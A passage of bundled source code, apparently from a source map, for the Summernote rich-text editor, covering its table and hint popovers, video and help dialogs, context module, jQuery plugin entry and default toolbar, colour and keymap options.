this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)\n });\n } else {\n this.hide();\n }\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class TablePopover {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.options = context.options;\n this.events = {\n 'summernote.mousedown': (we, e) => {\n this.update(e.target);\n },\n 'summernote.keyup summernote.scroll summernote.change': () => {\n this.update();\n },\n 'summernote.disable': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return !lists.isEmpty(this.options.popover.table);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-table-popover'\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n this.context.invoke('buttons.build', $content, this.options.popover.table);\n\n // [workaround] Disable Firefox's default table editor\n if (env.isFF) {\n document.execCommand('enableInlineTableEditing', false, false);\n }\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update(target) {\n if (this.context.isDisabled()) {\n return false;\n }\n\n const isCell = dom.isCell(target);\n\n if (isCell) {\n const pos = dom.posFromPlaceholder(target);\n this.$popover.css({\n display: 'block',\n left: pos.left,\n top: pos.top\n });\n } else {\n this.hide();\n }\n\n return isCell;\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class VideoDialog {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n const body = [\n '<div class=\"form-group note-form-group row-fluid\">',\n `<label class=\"note-form-label\">${this.lang.video.url} <small class=\"text-muted\">${this.lang.video.providers}</small></label>`,\n '<input class=\"note-video-url form-control note-form-control note-input\" type=\"text\" />',\n '</div>'\n ].join('');\n const buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';\n const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.video.insert}</button>`;\n\n this.$dialog = this.ui.dialog({\n title: this.lang.video.insert,\n fade: this.options.dialogsFade,\n body: body,\n footer: footer\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n bindEnterKey($input, $btn) {\n $input.on('keypress', (event) => {\n if (event.keyCode === key.code.ENTER) {\n event.preventDefault();\n $btn.trigger('click');\n }\n });\n }\n\n createVideoNode(url) {\n // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)\n const ytRegExp = /^(?:https?:\\/\\/)?(?:www\\.)?(?:youtu\\.be\\/|youtube\\.com\\/(?:embed\\/|v\\/|watch\\?v=|watch\\?.+&v=))((\\w|-){11})(?:\\S+)?$/;\n const ytMatch = url.match(ytRegExp);\n\n const igRegExp = /(?:www\\.|\\/\\/)instagram\\.com\\/p\\/(.[a-zA-Z0-9_-]*)/;\n const igMatch = url.match(igRegExp);\n\n const vRegExp = /\\/\\/vine\\.co\\/v\\/([a-zA-Z0-9]+)/;\n const vMatch = url.match(vRegExp);\n\n const vimRegExp = /\\/\\/(player\\.)?vimeo\\.com\\/([a-z]*\\/)*(\\d+)[?]?.*/;\n const vimMatch = url.match(vimRegExp);\n\n const dmRegExp = /.+dailymotion.com\\/(video|hub)\\/([^_]+)[^#]*(#video=([^_&]+))?/;\n const dmMatch = url.match(dmRegExp);\n\n const youkuRegExp = /\\/\\/v\\.youku\\.com\\/v_show\\/id_(\\w+)=*\\.html/;\n const youkuMatch = url.match(youkuRegExp);\n\n const qqRegExp = /\\/\\/v\\.qq\\.com.*?vid=(.+)/;\n const qqMatch = url.match(qqRegExp);\n\n const qqRegExp2 = /\\/\\/v\\.qq\\.com\\/x?\\/?(page|cover).*?\\/([^\\/]+)\\.html\\??.*/;\n const qqMatch2 = url.match(qqRegExp2);\n\n const mp4RegExp = /^.+.(mp4|m4v)$/;\n const mp4Match = url.match(mp4RegExp);\n\n const oggRegExp = /^.+.(ogg|ogv)$/;\n const oggMatch = url.match(oggRegExp);\n\n const webmRegExp = /^.+.(webm)$/;\n const webmMatch = url.match(webmRegExp);\n\n let $video;\n if (ytMatch && ytMatch[1].length === 11) {\n const youtubeId = ytMatch[1];\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', '//www.youtube.com/embed/' + youtubeId)\n .attr('width', '640').attr('height', '360');\n } else if (igMatch && igMatch[0].length) {\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')\n .attr('width', '612').attr('height', '710')\n .attr('scrolling', 'no')\n .attr('allowtransparency', 'true');\n } else if (vMatch && vMatch[0].length) {\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', vMatch[0] + '/embed/simple')\n .attr('width', '600').attr('height', '600')\n .attr('class', 'vine-embed');\n } else if (vimMatch && vimMatch[3].length) {\n $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n .attr('frameborder', 0)\n .attr('src', '//player.vimeo.com/video/' + vimMatch[3])\n .attr('width', '640').attr('height', '360');\n } else if (dmMatch && dmMatch[2].length) {\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])\n .attr('width', '640').attr('height', '360');\n } else if (youkuMatch && youkuMatch[1].length) {\n $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n .attr('frameborder', 0)\n .attr('height', '498')\n .attr('width', '510')\n .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);\n } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {\n const vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);\n $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n .attr('frameborder', 0)\n .attr('height', '310')\n .attr('width', '500')\n .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&auto=0');\n } else if (mp4Match || oggMatch || webmMatch) {\n $video = $('<video controls>')\n .attr('src', url)\n .attr('width', '640').attr('height', '360');\n } else {\n // this is not a known video link. Now what, Cat? Now what?\n return false;\n }\n\n $video.addClass('note-video-clip');\n\n return $video[0];\n }\n\n show() {\n const text = this.context.invoke('editor.getSelectedText');\n this.context.invoke('editor.saveRange');\n this.showVideoDialog(text).then((url) => {\n // [workaround] hide dialog before restore range for IE range focus\n this.ui.hideDialog(this.$dialog);\n this.context.invoke('editor.restoreRange');\n\n // build node\n const $node = this.createVideoNode(url);\n\n if ($node) {\n // insert video node\n this.context.invoke('editor.insertNode', $node);\n }\n }).fail(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n\n /**\n * show image dialog\n *\n * @param {jQuery} $dialog\n * @return {Promise}\n */\n showVideoDialog(text) {\n return $.Deferred((deferred) => {\n const $videoUrl = this.$dialog.find('.note-video-url');\n const $videoBtn = this.$dialog.find('.note-video-btn');\n\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n\n $videoUrl.val(text).on('input', () => {\n this.ui.toggleBtn($videoBtn, $videoUrl.val());\n });\n\n if (!env.isSupportTouch) {\n $videoUrl.trigger('focus');\n }\n\n $videoBtn.click((event) => {\n event.preventDefault();\n\n deferred.resolve($videoUrl.val());\n });\n\n this.bindEnterKey($videoUrl, $videoBtn);\n });\n\n this.ui.onDialogHidden(this.$dialog, () => {\n $videoUrl.off('input');\n $videoBtn.off('click');\n\n if (deferred.state() === 'pending') {\n deferred.reject();\n }\n });\n\n this.ui.showDialog(this.$dialog);\n });\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\n\nexport default class HelpDialog {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n const body = [\n '<p class=\"text-center\">',\n '<a href=\"http://summernote.org/\" target=\"_blank\">Summernote @@VERSION@@</a> · ',\n '<a href=\"https://github.com/summernote/summernote\" target=\"_blank\">Project</a> · ',\n '<a href=\"https://github.com/summernote/summernote/issues\" target=\"_blank\">Issues</a>',\n '</p>'\n ].join('');\n\n this.$dialog = this.ui.dialog({\n title: this.lang.options.help,\n fade: this.options.dialogsFade,\n body: this.createShortcutList(),\n footer: body,\n callback: ($node) => {\n $node.find('.modal-body,.note-modal-body').css({\n 'max-height': 300,\n 'overflow': 'scroll'\n });\n }\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n createShortcutList() {\n const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n return Object.keys(keyMap).map((key) => {\n const command = keyMap[key];\n const $row = $('<div><div class=\"help-list-item\"/></div>');\n $row.append($('<label><kbd>' + key + '</kdb></label>').css({\n 'width': 180,\n 'margin-right': 10\n })).append($('<span/>').html(this.context.memo('help.' + command) || command));\n return $row.html();\n }).join('');\n }\n\n /**\n * show help dialog\n *\n * @return {Promise}\n */\n showHelpDialog() {\n return $.Deferred((deferred) => {\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n deferred.resolve();\n });\n this.ui.showDialog(this.$dialog);\n }).promise();\n }\n\n show() {\n this.context.invoke('editor.saveRange');\n this.showHelpDialog().then(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nconst AIR_MODE_POPOVER_X_OFFSET = 20;\n\nexport default class AirPopover {\n constructor(context) {\n this.context = context;\n this.ui = $.summernote.ui;\n this.options = context.options;\n this.events = {\n 'summernote.keyup summernote.mouseup summernote.scroll': () => {\n this.update();\n },\n 'summernote.disable summernote.change summernote.dialog.shown': () => {\n this.hide();\n },\n 'summernote.focusout': (we, e) => {\n // [workaround] Firefox doesn't support relatedTarget on focusout\n // - Ignore hide action on focus out in FF.\n if (env.isFF) {\n return;\n }\n\n if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(this.$popover[0]))) {\n this.hide();\n }\n }\n };\n }\n\n shouldInitialize() {\n return this.options.airMode && !lists.isEmpty(this.options.popover.air);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-air-popover'\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content');\n\n this.context.invoke('buttons.build', $content, this.options.popover.air);\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update() {\n const styleInfo = this.context.invoke('editor.currentStyle');\n if (styleInfo.range && !styleInfo.range.isCollapsed()) {\n const rect = lists.last(styleInfo.range.getClientRects());\n if (rect) {\n const bnd = func.rect2bnd(rect);\n this.$popover.css({\n display: 'block',\n left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,\n top: bnd.top + bnd.height\n });\n this.context.invoke('buttons.updateCurrentStyle', this.$popover);\n }\n } else {\n this.hide();\n }\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport key from '../core/key';\n\nconst POPOVER_DIST = 5;\n\nexport default class HintPopover {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n this.hint = this.options.hint || [];\n this.direction = this.options.hintDirection || 'bottom';\n this.hints = $.isArray(this.hint) ? this.hint : [this.hint];\n\n this.events = {\n 'summernote.keyup': (we, e) => {\n if (!e.isDefaultPrevented()) {\n this.handleKeyup(e);\n }\n },\n 'summernote.keydown': (we, e) => {\n this.handleKeydown(e);\n },\n 'summernote.disable summernote.dialog.shown': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return this.hints.length > 0;\n }\n\n initialize() {\n this.lastWordRange = null;\n this.$popover = this.ui.popover({\n className: 'note-hint-popover',\n hideArrow: true,\n direction: ''\n }).render().appendTo(this.options.container);\n\n this.$popover.hide();\n this.$content = this.$popover.find('.popover-content,.note-popover-content');\n this.$content.on('click', '.note-hint-item', () => {\n this.$content.find('.active').removeClass('active');\n $(this).addClass('active');\n this.replace();\n });\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n selectItem($item) {\n this.$content.find('.active').removeClass('active');\n $item.addClass('active');\n\n this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);\n }\n\n moveDown() {\n const $current = this.$content.find('.note-hint-item.active');\n const $next = $current.next();\n\n if ($next.length) {\n this.selectItem($next);\n } else {\n let $nextGroup = $current.parent().next();\n\n if (!$nextGroup.length) {\n $nextGroup = this.$content.find('.note-hint-group').first();\n }\n\n this.selectItem($nextGroup.find('.note-hint-item').first());\n }\n }\n\n moveUp() {\n const $current = this.$content.find('.note-hint-item.active');\n const $prev = $current.prev();\n\n if ($prev.length) {\n this.selectItem($prev);\n } else {\n let $prevGroup = $current.parent().prev();\n\n if (!$prevGroup.length) {\n $prevGroup = this.$content.find('.note-hint-group').last();\n }\n\n this.selectItem($prevGroup.find('.note-hint-item').last());\n }\n }\n\n replace() {\n const $item = this.$content.find('.note-hint-item.active');\n\n if ($item.length) {\n const node = this.nodeFromItem($item);\n // XXX: consider to move codes to editor for recording redo/undo.\n this.lastWordRange.insertNode(node);\n range.createFromNode(node).collapse().select();\n\n this.lastWordRange = null;\n this.hide();\n this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);\n this.context.invoke('editor.focus');\n }\n }\n\n nodeFromItem($item) {\n const hint = this.hints[$item.data('index')];\n const item = $item.data('item');\n let node = hint.content ? hint.content(item) : item;\n if (typeof node === 'string') {\n node = dom.createText(node);\n }\n return node;\n }\n\n createItemTemplates(hintIdx, items) {\n const hint = this.hints[hintIdx];\n return items.map((item, idx) => {\n const $item = $('<div class=\"note-hint-item\"/>');\n $item.append(hint.template ? hint.template(item) : item + '');\n $item.data({\n 'index': hintIdx,\n 'item': item\n });\n return $item;\n });\n }\n\n handleKeydown(e) {\n if (!this.$popover.is(':visible')) {\n return;\n }\n\n if (e.keyCode === key.code.ENTER) {\n e.preventDefault();\n this.replace();\n } else if (e.keyCode === key.code.UP) {\n e.preventDefault();\n this.moveUp();\n } else if (e.keyCode === key.code.DOWN) {\n e.preventDefault();\n this.moveDown();\n }\n }\n\n searchKeyword(index, keyword, callback) {\n const hint = this.hints[index];\n if (hint && hint.match.test(keyword) && hint.search) {\n const matches = hint.match.exec(keyword);\n hint.search(matches[1], callback);\n } else {\n callback();\n }\n }\n\n createGroup(idx, keyword) {\n const $group = $('<div class=\"note-hint-group note-hint-group-' + idx + '\"/>');\n this.searchKeyword(idx, keyword, (items) => {\n items = items || [];\n if (items.length) {\n $group.html(this.createItemTemplates(idx, items));\n this.show();\n }\n });\n\n return $group;\n }\n\n handleKeyup(e) {\n if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {\n const wordRange = this.context.invoke('editor.createRange').getWordRange();\n const keyword = wordRange.toString();\n if (this.hints.length && keyword) {\n this.$content.empty();\n\n const bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));\n if (bnd) {\n this.$popover.hide();\n this.lastWordRange = wordRange;\n this.hints.forEach((hint, idx) => {\n if (hint.match.test(keyword)) {\n this.createGroup(idx, keyword).appendTo(this.$content);\n }\n });\n // select first .note-hint-item\n this.$content.find('.note-hint-item:first').addClass('active');\n\n // set position for popover after group is created\n if (this.direction === 'top') {\n this.$popover.css({\n left: bnd.left,\n top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST\n });\n } else {\n this.$popover.css({\n left: bnd.left,\n top: bnd.top + bnd.height + POPOVER_DIST\n });\n }\n }\n } else {\n this.hide();\n }\n }\n }\n\n show() {\n this.$popover.show();\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport func from './core/func';\nimport lists from './core/lists';\nimport dom from './core/dom';\n\nexport default class Context {\n /**\n * @param {jQuery} $note\n * @param {Object} options\n */\n constructor($note, options) {\n this.ui = $.summernote.ui;\n this.$note = $note;\n\n this.memos = {};\n this.modules = {};\n this.layoutInfo = {};\n this.options = options;\n\n this.initialize();\n }\n\n /**\n * create layout and initialize modules and other resources\n */\n initialize() {\n this.layoutInfo = this.ui.createLayout(this.$note, this.options);\n this._initialize();\n this.$note.hide();\n return this;\n }\n\n /**\n * destroy modules and other resources and remove layout\n */\n destroy() {\n this._destroy();\n this.$note.removeData('summernote');\n this.ui.removeLayout(this.$note, this.layoutInfo);\n }\n\n /**\n * destory modules and other resources and initialize it again\n */\n reset() {\n const disabled = this.isDisabled();\n this.code(dom.emptyPara);\n this._destroy();\n this._initialize();\n\n if (disabled) {\n this.disable();\n }\n }\n\n _initialize() {\n // add optional buttons\n const buttons = $.extend({}, this.options.buttons);\n Object.keys(buttons).forEach((key) => {\n this.memo('button.' + key, buttons[key]);\n });\n\n const modules = $.extend({}, this.options.modules, $.summernote.plugins || {});\n\n // add and initialize modules\n Object.keys(modules).forEach((key) => {\n this.module(key, modules[key], true);\n });\n\n Object.keys(this.modules).forEach((key) => {\n this.initializeModule(key);\n });\n }\n\n _destroy() {\n // destroy modules with reversed order\n Object.keys(this.modules).reverse().forEach((key) => {\n this.removeModule(key);\n });\n\n Object.keys(this.memos).forEach((key) => {\n this.removeMemo(key);\n });\n // trigger custom onDestroy callback\n this.triggerEvent('destroy', this);\n }\n\n code(html) {\n const isActivated = this.invoke('codeview.isActivated');\n\n if (html === undefined) {\n this.invoke('codeview.sync');\n return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();\n } else {\n if (isActivated) {\n this.layoutInfo.codable.val(html);\n } else {\n this.layoutInfo.editable.html(html);\n }\n this.$note.val(html);\n this.triggerEvent('change', html);\n }\n }\n\n isDisabled() {\n return this.layoutInfo.editable.attr('contenteditable') === 'false';\n }\n\n enable() {\n this.layoutInfo.editable.attr('contenteditable', true);\n this.invoke('toolbar.activate', true);\n this.triggerEvent('disable', false);\n }\n\n disable() {\n // close codeview if codeview is opend\n if (this.invoke('codeview.isActivated')) {\n this.invoke('codeview.deactivate');\n }\n this.layoutInfo.editable.attr('contenteditable', false);\n this.invoke('toolbar.deactivate', true);\n\n this.triggerEvent('disable', true);\n }\n\n triggerEvent() {\n const namespace = lists.head(arguments);\n const args = lists.tail(lists.from(arguments));\n\n const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];\n if (callback) {\n callback.apply(this.$note[0], args);\n }\n this.$note.trigger('summernote.' + namespace, args);\n }\n\n initializeModule(key) {\n const module = this.modules[key];\n module.shouldInitialize = module.shouldInitialize || func.ok;\n if (!module.shouldInitialize()) {\n return;\n }\n\n // initialize module\n if (module.initialize) {\n module.initialize();\n }\n\n // attach events\n if (module.events) {\n dom.attachEvents(this.$note, module.events);\n }\n }\n\n module(key, ModuleClass, withoutIntialize) {\n if (arguments.length === 1) {\n return this.modules[key];\n }\n\n this.modules[key] = new ModuleClass(this);\n\n if (!withoutIntialize) {\n this.initializeModule(key);\n }\n }\n\n removeModule(key) {\n const module = this.modules[key];\n if (module.shouldInitialize()) {\n if (module.events) {\n dom.detachEvents(this.$note, module.events);\n }\n\n if (module.destroy) {\n module.destroy();\n }\n }\n\n delete this.modules[key];\n }\n\n memo(key, obj) {\n if (arguments.length === 1) {\n return this.memos[key];\n }\n this.memos[key] = obj;\n }\n\n removeMemo(key) {\n if (this.memos[key] && this.memos[key].destroy) {\n this.memos[key].destroy();\n }\n\n delete this.memos[key];\n }\n\n /**\n * Some buttons need to change their visual style immediately once they get pressed\n */\n createInvokeHandlerAndUpdateState(namespace, value) {\n return (event) => {\n this.createInvokeHandler(namespace, value)(event);\n this.invoke('buttons.updateCurrentStyle');\n };\n }\n\n createInvokeHandler(namespace, value) {\n return (event) => {\n event.preventDefault();\n const $target = $(event.target);\n this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);\n };\n }\n\n invoke() {\n const namespace = lists.head(arguments);\n const args = lists.tail(lists.from(arguments));\n\n const splits = namespace.split('.');\n const hasSeparator = splits.length > 1;\n const moduleName = hasSeparator && lists.head(splits);\n const methodName = hasSeparator ? lists.last(splits) : lists.head(splits);\n\n const module = this.modules[moduleName || 'editor'];\n if (!moduleName && this[methodName]) {\n return this[methodName].apply(this, args);\n } else if (module && module[methodName] && module.shouldInitialize()) {\n return module[methodName].apply(module, args);\n }\n }\n}\n","import $ from 'jquery';\nimport env from './base/core/env';\nimport lists from './base/core/lists';\nimport Context from './base/Context';\n\n$.fn.extend({\n /**\n * Summernote API\n *\n * @param {Object|String}\n * @return {this}\n */\n summernote: function() {\n const type = $.type(lists.head(arguments));\n const isExternalAPICalled = type === 'string';\n const hasInitOptions = type === 'object';\n\n const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {});\n\n // Update options\n options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);\n options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons);\n options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;\n\n this.each((idx, note) => {\n const $note = $(note);\n if (!$note.data('summernote')) {\n const context = new Context($note, options);\n $note.data('summernote', context);\n $note.data('summernote').triggerEvent('init', context.layoutInfo);\n }\n });\n\n const $note = this.first();\n if ($note.length) {\n const context = $note.data('summernote');\n if (isExternalAPICalled) {\n return context.invoke.apply(context, lists.from(arguments));\n } else if (options.focus) {\n context.invoke('editor.focus');\n }\n }\n\n return this;\n }\n});\n","import $ from 'jquery';\nimport ui from '../bs4/ui';\nimport dom from '../base/core/dom';\nimport '../base/summernote-en-US';\nimport Editor from '../base/module/Editor';\nimport Clipboard from '../base/module/Clipboard';\nimport Dropzone from '../base/module/Dropzone';\nimport Codeview from '../base/module/Codeview';\nimport Statusbar from '../base/module/Statusbar';\nimport Fullscreen from '../base/module/Fullscreen';\nimport Handle from '../base/module/Handle';\nimport AutoLink from '../base/module/AutoLink';\nimport AutoSync from '../base/module/AutoSync';\nimport Placeholder from '../base/module/Placeholder';\nimport Buttons from '../base/module/Buttons';\nimport Toolbar from '../base/module/Toolbar';\nimport LinkDialog from '../base/module/LinkDialog';\nimport LinkPopover from '../base/module/LinkPopover';\nimport ImageDialog from '../base/module/ImageDialog';\nimport ImagePopover from '../base/module/ImagePopover';\nimport TablePopover from '../base/module/TablePopover';\nimport VideoDialog from '../base/module/VideoDialog';\nimport HelpDialog from '../base/module/HelpDialog';\nimport AirPopover from '../base/module/AirPopover';\nimport HintPopover from '../base/module/HintPopover';\n\n$.summernote = $.extend($.summernote, {\n version: '@@VERSION@@',\n ui: ui,\n dom: dom,\n\n plugins: {},\n\n options: {\n modules: {\n 'editor': Editor,\n 'clipboard': Clipboard,\n 'dropzone': Dropzone,\n 'codeview': Codeview,\n 'statusbar': Statusbar,\n 'fullscreen': Fullscreen,\n 'handle': Handle,\n // FIXME: HintPopover must be front of autolink\n // - Script error about range when Enter key is pressed on hint popover\n 'hintPopover': HintPopover,\n 'autoLink': AutoLink,\n 'autoSync': AutoSync,\n 'placeholder': Placeholder,\n 'buttons': Buttons,\n 'toolbar': Toolbar,\n 'linkDialog': LinkDialog,\n 'linkPopover': LinkPopover,\n 'imageDialog': ImageDialog,\n 'imagePopover': ImagePopover,\n 'tablePopover': TablePopover,\n 'videoDialog': VideoDialog,\n 'helpDialog': HelpDialog,\n 'airPopover': AirPopover\n },\n\n buttons: {},\n\n lang: 'en-US',\n\n followingToolbar: true,\n otherStaticBar: '',\n\n // toolbar\n toolbar: [\n ['style', ['style']],\n ['font', ['bold', 'underline', 'clear']],\n ['fontname', ['fontname']],\n ['color', ['color']],\n ['para', ['ul', 'ol', 'paragraph']],\n ['table', ['table']],\n ['insert', ['link', 'picture', 'video']],\n ['view', ['fullscreen', 'codeview', 'help']]\n ],\n\n // popover\n popatmouse: true,\n popover: {\n image: [\n ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n ['float', ['floatLeft', 'floatRight', 'floatNone']],\n ['remove', ['removeMedia']]\n ],\n link: [\n ['link', ['linkDialogShow', 'unlink']]\n ],\n table: [\n ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n ],\n air: [\n ['color', ['color']],\n ['font', ['bold', 'underline', 'clear']],\n ['para', ['ul', 'paragraph']],\n ['table', ['table']],\n ['insert', ['link', 'picture']]\n ]\n },\n\n // air mode: inline editor\n airMode: false,\n\n width: null,\n height: null,\n linkTargetBlank: true,\n\n focus: false,\n tabSize: 4,\n styleWithSpan: true,\n shortcuts: true,\n textareaAutoSync: true,\n hintDirection: 'bottom',\n tooltip: 'auto',\n container: 'body',\n maxTextLength: 0,\n\n styleTags: [\n 'p',\n { title: 'Blockquote', tag: 'blockquote', className: 'blockquote', value: 'blockquote' },\n 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'\n ],\n\n fontNames: [\n 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',\n 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',\n 'Tahoma', 'Times New Roman', 'Verdana'\n ],\n\n fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],\n\n // pallete colors(n x n)\n colors: [\n ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],\n ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],\n ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],\n ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],\n ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],\n ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],\n ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],\n ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']\n ],\n\n // http://chir.ag/projects/name-that-color/\n colorsName: [\n ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],\n ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],\n ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],\n ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],\n ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],\n ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],\n ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],\n ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']\n ],\n\n lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],\n\n tableClassName: 'table table-bordered',\n\n insertTableMaxSize: {\n col: 10,\n row: 10\n },\n\n dialogsInBody: false,\n dialogsFade: false,\n\n maximumImageFileSize: null,\n\n callbacks: {\n onInit: null,\n onFocus: null,\n onBlur: null,\n onBlurCodeview: null,\n onEnter: null,\n onKeyup: null,\n onKeydown: null,\n onImageUpload: null,\n onImageUploadError: null\n },\n\n codemirror: {\n mode: 'text/html',\n htmlMode: true,\n lineNumbers: true\n },\n\n keyMap: {\n pc: {\n 'ENTER': 'insertParagraph',\n 'CTRL+Z': 'undo',\n 'CTRL+Y': 'redo',\n 'TAB': 'tab',\n 'SHIFT+TAB': 'untab',\n 'CTRL+B': 'bold',\n 'CTRL+I': 'italic',\n 'CTRL+U': 'underline',\n 'CTRL+SHIFT+S': 'strikethrough',\n 'CTRL+BACKSLASH': 'removeFormat',\n 'CTRL+SHIFT+L': 'justifyLeft',\n 'CTRL+SHIFT+E': 'justifyCenter',\n 'CTRL+SHIFT+R': 'justifyRight',\n 'CTRL+SHIFT+J': 'justifyFull',\n 'CTRL+SHIFT+NUM7': 'insertUnorderedList',\n 'CTRL+SHIFT+NUM8': 'insertOrderedList',\n 'CTRL+LEFTBRACKET': 'outdent',\n 'CTRL+RIGHTBRACKET': 'indent',\n 'CTRL+NUM0': 'formatPara',\n 'CTRL+NUM1': 'formatH1',\n 'CTRL+NUM2': 'formatH2',\n 'CTRL+NUM3': 'formatH3',\n 'CTRL+NUM4': 'formatH4',\n 'CTRL+NUM5': 'formatH5',\n 'CTRL+NUM6': 'formatH6',\n 'CTRL+ENTER': 'insertHorizontalRule',\n 'CTRL+K': 'linkDialog.show'\n },\n\n mac: {\n 'ENTER': 'insertParagraph',\n 'CMD+Z': 